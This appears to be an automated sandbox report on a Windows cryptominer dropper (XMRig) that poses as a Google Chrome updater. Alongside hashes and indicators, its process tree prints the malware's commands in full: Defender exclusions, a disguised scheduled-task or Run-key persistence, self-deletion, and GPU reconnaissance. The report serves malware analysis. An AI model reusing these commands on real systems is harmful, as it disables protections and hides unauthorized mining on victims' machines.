Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16-01-2024 20:08
240116-yw2hnahhck 1024-12-2023 12:16
231224-pfpz9abhcp 1028-08-2023 15:19
230828-sqmvesca87 1026-08-2023 15:20
230826-sqz5radd21 1020-08-2023 00:19
230820-amltvacg48 1020-08-2023 00:19
230820-amkxjscg46 1020-08-2023 00:18
230820-al4y2aec9v 1020-08-2023 00:18
230820-al4m9scg45 1020-08-2023 00:18
230820-al32qscg44 1020-08-2023 00:18
230820-al3e7sec9t 10Analysis
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max time kernel
262s -
max time network
1799s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
19-08-2023 00:38
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20230712-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20230712-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20230712-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20230712-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20230712-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20230712-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20230712-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20230712-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20230712-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20230712-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20230712-en
General
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Target
qM5GMXBk6hJE6Y5e(18).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1648 created 1388 1648 qM5GMXBk6hJE6Y5e(18).exe 19 PID 1648 created 1388 1648 qM5GMXBk6hJE6Y5e(18).exe 19 PID 1648 created 1388 1648 qM5GMXBk6hJE6Y5e(18).exe 19 PID 1648 created 1388 1648 qM5GMXBk6hJE6Y5e(18).exe 19 PID 2772 created 1388 2772 updater.exe 19 PID 2772 created 1388 2772 updater.exe 19 PID 2772 created 1388 2772 updater.exe 19 PID 2772 created 1388 2772 updater.exe 19 PID 1996 created 1388 1996 conhost.exe 19 PID 2772 created 1388 2772 updater.exe 19 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral21/memory/2136-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-139-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-146-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-148-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-150-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-152-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-154-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-156-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-158-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-160-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-162-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-164-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-166-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-168-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-170-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-172-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-174-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-176-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-178-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-180-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-182-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-184-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-186-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2136-188-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2832 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2772 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2812 taskeng.exe -
resource yara_rule behavioral21/memory/2136-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-139-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-146-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-148-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-150-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-152-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-154-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-156-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-158-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-160-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-162-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-164-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-166-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-168-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-170-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-172-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-174-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-176-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-178-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-180-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-182-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-184-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-186-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2136-188-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2772 set thread context of 1996 2772 updater.exe 55 PID 2772 set thread context of 2136 2772 updater.exe 54 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e(18).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2972 schtasks.exe 3020 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 928 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70e18c6243d2d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1648 qM5GMXBk6hJE6Y5e(18).exe 1648 qM5GMXBk6hJE6Y5e(18).exe 1656 powershell.exe 1648 qM5GMXBk6hJE6Y5e(18).exe 1648 qM5GMXBk6hJE6Y5e(18).exe 2488 powershell.exe 1648 qM5GMXBk6hJE6Y5e(18).exe 1648 qM5GMXBk6hJE6Y5e(18).exe 1648 qM5GMXBk6hJE6Y5e(18).exe 1648 qM5GMXBk6hJE6Y5e(18).exe 1724 powershell.exe 2772 updater.exe 2772 updater.exe 824 powershell.exe 2772 updater.exe 2772 updater.exe 2788 powershell.exe 2772 updater.exe 2772 updater.exe 2772 updater.exe 2772 updater.exe 1996 conhost.exe 1996 conhost.exe 2772 updater.exe 2772 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 1656 powershell.exe Token: SeDebugPrivilege 2488 powershell.exe Token: SeDebugPrivilege 1724 powershell.exe Token: SeDebugPrivilege 824 powershell.exe Token: SeDebugPrivilege 2788 powershell.exe Token: SeDebugPrivilege 2772 updater.exe Token: SeAssignPrimaryTokenPrivilege 928 WMIC.exe Token: SeIncreaseQuotaPrivilege 928 WMIC.exe Token: SeSecurityPrivilege 928 WMIC.exe Token: SeTakeOwnershipPrivilege 928 WMIC.exe Token: SeLoadDriverPrivilege 928 WMIC.exe Token: SeSystemtimePrivilege 928 WMIC.exe Token: SeBackupPrivilege 928 WMIC.exe Token: SeRestorePrivilege 928 WMIC.exe Token: SeShutdownPrivilege 928 WMIC.exe Token: SeSystemEnvironmentPrivilege 928 WMIC.exe Token: SeUndockPrivilege 928 WMIC.exe Token: SeManageVolumePrivilege 928 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 928 WMIC.exe Token: SeIncreaseQuotaPrivilege 928 WMIC.exe Token: SeSecurityPrivilege 928 WMIC.exe Token: SeTakeOwnershipPrivilege 928 WMIC.exe Token: SeLoadDriverPrivilege 928 WMIC.exe Token: SeSystemtimePrivilege 928 WMIC.exe Token: SeBackupPrivilege 928 WMIC.exe Token: SeRestorePrivilege 928 WMIC.exe Token: SeShutdownPrivilege 928 WMIC.exe Token: SeSystemEnvironmentPrivilege 928 WMIC.exe Token: SeUndockPrivilege 928 WMIC.exe Token: SeManageVolumePrivilege 928 WMIC.exe Token: SeLockMemoryPrivilege 2136 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2488 wrote to memory of 2972 2488 powershell.exe 34 PID 2488 wrote to memory of 2972 2488 powershell.exe 34 PID 2488 wrote to memory of 2972 2488 powershell.exe 34 PID 2832 wrote to memory of 2816 2832 cmd.exe 37 PID 2832 wrote to memory of 2816 2832 cmd.exe 37 PID 2832 wrote to memory of 2816 2832 cmd.exe 37 PID 1724 wrote to memory of 1960 1724 powershell.exe 41 PID 1724 wrote to memory of 1960 1724 powershell.exe 41 PID 1724 wrote to memory of 1960 1724 powershell.exe 41 PID 2812 wrote to memory of 2772 2812 taskeng.exe 42 PID 2812 wrote to memory of 2772 2812 taskeng.exe 42 PID 2812 wrote to memory of 2772 2812 taskeng.exe 42 PID 2788 wrote to memory of 3020 2788 powershell.exe 47 PID 2788 wrote to memory of 3020 2788 powershell.exe 47 PID 2788 wrote to memory of 3020 2788 powershell.exe 47 PID 2772 wrote to memory of 1996 2772 updater.exe 55 PID 1924 wrote to memory of 928 1924 cmd.exe 50 PID 1924 wrote to memory of 928 1924 cmd.exe 50 PID 1924 wrote to memory of 928 1924 cmd.exe 50 PID 2772 wrote to memory of 2136 2772 updater.exe 54
Processes
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1648
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1388
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1656
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2972
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2832
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1960
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:824
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:3020
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1036
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1924
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2136
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1996
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2816
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C:\Windows\system32\taskeng.exetaskeng.exe {2F687B41-0C9E-4E4D-90F3-D8FDECB73C8F} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2772
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:928
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD554c8054482d4a43278b601e39072579e
SHA12da036f91f46a42808cb7e54b2484e32600b73ab
SHA256b4524f7eee09bd7728ef006cb545cf4ec46753655bc923ece3e1b9dac34c160d
SHA512f5bb2d98a22a43361f2ecbb0e269b1367cb8ddbb7e5d79aad73c3b9d2b037a4e8d0978aa6c05190bd567220d003f88d7015303cfaddfa44a28e4ed5aa007dd44
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD554c8054482d4a43278b601e39072579e
SHA12da036f91f46a42808cb7e54b2484e32600b73ab
SHA256b4524f7eee09bd7728ef006cb545cf4ec46753655bc923ece3e1b9dac34c160d
SHA512f5bb2d98a22a43361f2ecbb0e269b1367cb8ddbb7e5d79aad73c3b9d2b037a4e8d0978aa6c05190bd567220d003f88d7015303cfaddfa44a28e4ed5aa007dd44
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y70BF1TUDJCK19UXEPD4.temp
Filesize7KB
MD554c8054482d4a43278b601e39072579e
SHA12da036f91f46a42808cb7e54b2484e32600b73ab
SHA256b4524f7eee09bd7728ef006cb545cf4ec46753655bc923ece3e1b9dac34c160d
SHA512f5bb2d98a22a43361f2ecbb0e269b1367cb8ddbb7e5d79aad73c3b9d2b037a4e8d0978aa6c05190bd567220d003f88d7015303cfaddfa44a28e4ed5aa007dd44
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6